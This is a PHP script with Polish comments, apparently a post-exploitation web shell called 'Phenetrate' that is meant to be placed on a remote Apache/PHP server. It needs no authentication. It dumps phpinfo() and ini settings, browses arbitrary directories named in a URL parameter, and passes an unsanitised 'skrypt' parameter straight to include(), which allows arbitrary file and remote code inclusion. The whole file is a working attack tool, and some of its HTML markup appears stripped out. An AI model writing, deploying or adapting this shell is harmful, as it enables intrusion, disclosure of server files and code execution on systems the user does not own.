* * * Skrypt do szybkiego rozpoznania konfiguracji zdalnego serwera Apache + PHP * Szybki dostęp do phpinfo(), ini_get_all(), kluczowych ustawień i zwiedzania * systemu plików. * * */ error_reporting(E_ALL); ini_set('display_errors', '1'); ini_set('log_errors', '0'); ini_set('track_errors', '1'); $ten_skrypt = basename($_SERVER['PHP_SELF']); $MENU = array('main' => 'Początek', 'phpinfo' => 'phpinfo()', 'ini_get_all' => 'ini_get_all()', 'ustawienia' => 'Istotne ustawienia', 'filesystem' => 'System plików', 'uruchom' => 'Uruchom' ); $WAZNE_OPCJE = array( 'allow_url_fopen', 'auto_prepend_file', 'auto_append_file', 'disable_classes', 'disable_functions', 'display_errors', 'display_startup_errors', 'doc_root', 'enable_dl', 'engine', 'error_reporting', 'expose_php', 'file_uploads', 'include_path', 'log_errors', 'magic_quotes_gpc', 'open_basedir', 'post_max_size', 'register_globals', 'safe_mode', 'safe_mode_exec_dir', 'safe_mode_gid', 'safe_mode_include_dir', 'safe_mode_protected_env_vars', 'sendmail_path', 'session.save_handler', 'SMTP', 'upload_tmp_dir'); function HTML_Header() { echo << Phenetrate EOD; } function Ramka_Menu() { global $MENU; HTML_Header(); echo " \n"; foreach ($MENU as $k => $w) echo "$w   "; echo " \n"; echo "\n"; } function Strona_Phenetrate() { global $ten_skrypt; HTML_Header(); echo "\n"; echo " \n"; echo " \n"; echo " Przeglądarka nie obsługuje ramek\n"; echo "\n"; echo "\n"; } function Strona_main() { HTML_Header(); echo " \n"; echo "

Phenetrate

\n"; $system = @php_uname(); if (! $system) $system = $php_errormsg; $myuid = getmyuid(); if (! $myuid) $system = $php_errormsg; $current_user = get_current_user(); if (! $current_user) $current_user = $php_errormsg; $sapi = php_sapi_name(); if (! $sapi) $sapi = $php_errormsg; $basedir = ini_get('open_basedir'); if (! $basedir) $basedir = $php_errormsg; $safemode = ini_get('safe_mode'); if (! $safemode) $safemode = $php_errormsg; echo "System: $system"; echo "
"; echo "UID właściciela skryptu: $myuid"; echo "
"; echo "Właściciel skryptu: $current_user"; echo "
"; echo "Interfejs SAPI: $sapi"; echo "
"; echo "Ścieżka skryptu: " . $_SERVER["SCRIPT_FILENAME"]; echo "
"; echo "open_basedir: " . $basedir; echo "
"; echo "safe_mode: " . $safemode; echo "
"; echo "safe_mode_exec_dir: " . ini_get('safe_mode_exec_dir'); echo "
"; echo "Dodatkowe pliki inicjalizacyjne: " . php_ini_scanned_files(); echo "
"; echo "Działające moduły: " . implode(', ', get_loaded_extensions()); echo " \n"; echo "\n"; } function Strona_phpinfo() { HTML_Header(); echo " \n"; phpinfo(); echo " \n"; echo "\n"; } function Strona_Filesystem($plik = '.') { global $ten_skrypt; HTML_Header(); echo " \n"; echo "
\n"; echo "\n"; echo << EOD; echo "(open_basedir: " . ini_get('open_basedir') . ')'; echo "
"; echo "
";

	if (($h = @opendir($plik))) {
		while (false !== ($entry = readdir($h))) {
			$st = @lstat($plik . '/' . $entry);
			if (! $st) {
				printf("%50s     %s\n", $entry, $php_errormsg);
				continue;
			}

			    if ($st[2] & 0010000) $modebuf = 'p';
			elseif ($st[2] & 0020000) $modebuf = 'c';
			elseif ($st[2] & 0040000) $modebuf = 'd';
			elseif ($st[2] & 0060000) $modebuf = 'b';
			elseif ($st[2] & 0100000) $modebuf = '-';
			elseif ($st[2] & 0120000) $modebuf = 'l';
			elseif ($st[2] & 0140000) $modebuf = 's';
			else $modebuf = '?';

			$modebuf = substr_replace($modebuf, $st[2] & 00400 ? 'r' : '-', 1, 1);
			$modebuf = substr_replace($modebuf, $st[2] & 00200 ? 'w' : '-', 2, 1);
			$modebuf = substr_replace($modebuf, $st[2] & 00100 ? 'x' : '-', 3, 1);
			$modebuf = substr_replace($modebuf, $st[2] & 00040 ? 'r' : '-', 4, 1);
			$modebuf = substr_replace($modebuf, $st[2] & 00020 ? 'w' : '-', 5, 1);
			$modebuf = substr_replace($modebuf, $st[2] & 00010 ? 'x' : '-', 6, 1);
			$modebuf = substr_replace($modebuf, $st[2] & 00004 ? 'r' : '-', 7, 1);
			$modebuf = substr_replace($modebuf, $st[2] & 00002 ? 'w' : '-', 8, 1);
			$modebuf = substr_replace($modebuf, $st[2] & 00001 ? 'x' : '-', 9, 1);

			if ($st[2] & 004000)
				$modebuf = substr_replace($modebuf, $st[2] & 00100 ? 's' : 'S', 3, 1);
			if ($st[2] & 002000)
				$modebuf = substr_replace($modebuf, $st[2] & 00010 ? 's' : 'S', 6, 1);
			if ($st[2] & 001000)
				$modebuf = substr_replace($modebuf, $st[2] & 00001 ? 't' : 'T', 9, 1);

			$czas = strftime("%Y-%m-%d %H:%M", $st[10]);

			printf("%7s %2d %5d %5d %9d %16s ", $modebuf, $st[3], $st[4], $st[5], $st[7], $czas);
			if (is_dir($plik . '/' . $entry)) {
				echo "";
				echo htmlspecialchars($entry);
				echo "";
			} else
				echo htmlspecialchars($entry);
			printf("\n");
		}
		closedir($h);
	} else
		echo "Nie można wylistować $plik ($php_errormsg)\n";

	echo "
"; echo " \n"; echo "\n"; } function Strona_Uruchom() { global $ten_skrypt; HTML_Header(); echo " \n"; echo " Wybierz skrypt PHP do uruchomienia.\n"; echo "
\n"; echo "
\n"; echo << EOD; echo " (include_path: ".ini_get('include_path').")\n"; echo " (allow_url_fopen: ".ini_get('allow_url_fopen').")\n"; echo "
"; if (isset($_GET['skrypt'])) { echo "Rezultat:"; echo ""; } echo " \n"; echo "\n"; } function Strona_ini_get_all($tylko_istotne = false) { global $WAZNE_OPCJE; HTML_Header(); echo " \n"; $conf_options = ini_get_all(); echo << NazwaWartość globalnaWartość lokalnaDostęp EOD; $conf_options['url_rewriter.tags']['global_value'] = preg_replace('/,/', ', ', $conf_options['url_rewriter.tags']['global_value']); $conf_options['url_rewriter.tags']['local_value'] = preg_replace('/,/', ', ', $conf_options['url_rewriter.tags']['local_value']); foreach ($conf_options as $k => $w) { $class = ''; $td_class = ''; if (in_array($k, $WAZNE_OPCJE)) $td_class = " CLASS=wazne"; if ($w['global_value'] != $w['local_value']) $class = ' CLASS=zmienione'; if ($tylko_istotne && ! ($td_class || $class)) continue; $w['dostep'] = ''; if ($w['access'] & 1) $w['dostep'] = 'USER'; if ($w['access'] & 2) $w['dostep'] .= ' PERDIR'; if ($w['access'] & 4) $w['dostep'] .= ' SYSTEM'; if ($w['access'] & 7) $w['dostep'] .= ' ALL'; echo "\n"; echo "".htmlspecialchars($k)."" ."".htmlspecialchars($w['global_value']) . "" ."".htmlspecialchars($w['local_value']) . "" ."".htmlspecialchars($w['dostep'])."\n"; echo "\n"; } echo ""; echo " \n"; echo "\n"; } if (!isset($_GET['p'])) Strona_Phenetrate(); else { $p = $_GET['p']; if ($p == 'menu') Ramka_Menu(); elseif ($p == 'main') Strona_main(); elseif ($p == 'phpinfo') Strona_phpinfo(); elseif ($p == 'ini_get_all') Strona_ini_get_all(); elseif ($p == 'ustawienia') Strona_ini_get_all(True); elseif ($p == 'uruchom') Strona_Uruchom(); elseif ($p == 'run' && isset($_GET['skrypt'])) { include($_GET['skrypt']); } elseif ($p == 'filesystem') { if (isset($_GET['f'])) Strona_Filesystem($_GET['f']); else Strona_Filesystem('.'); } } ?>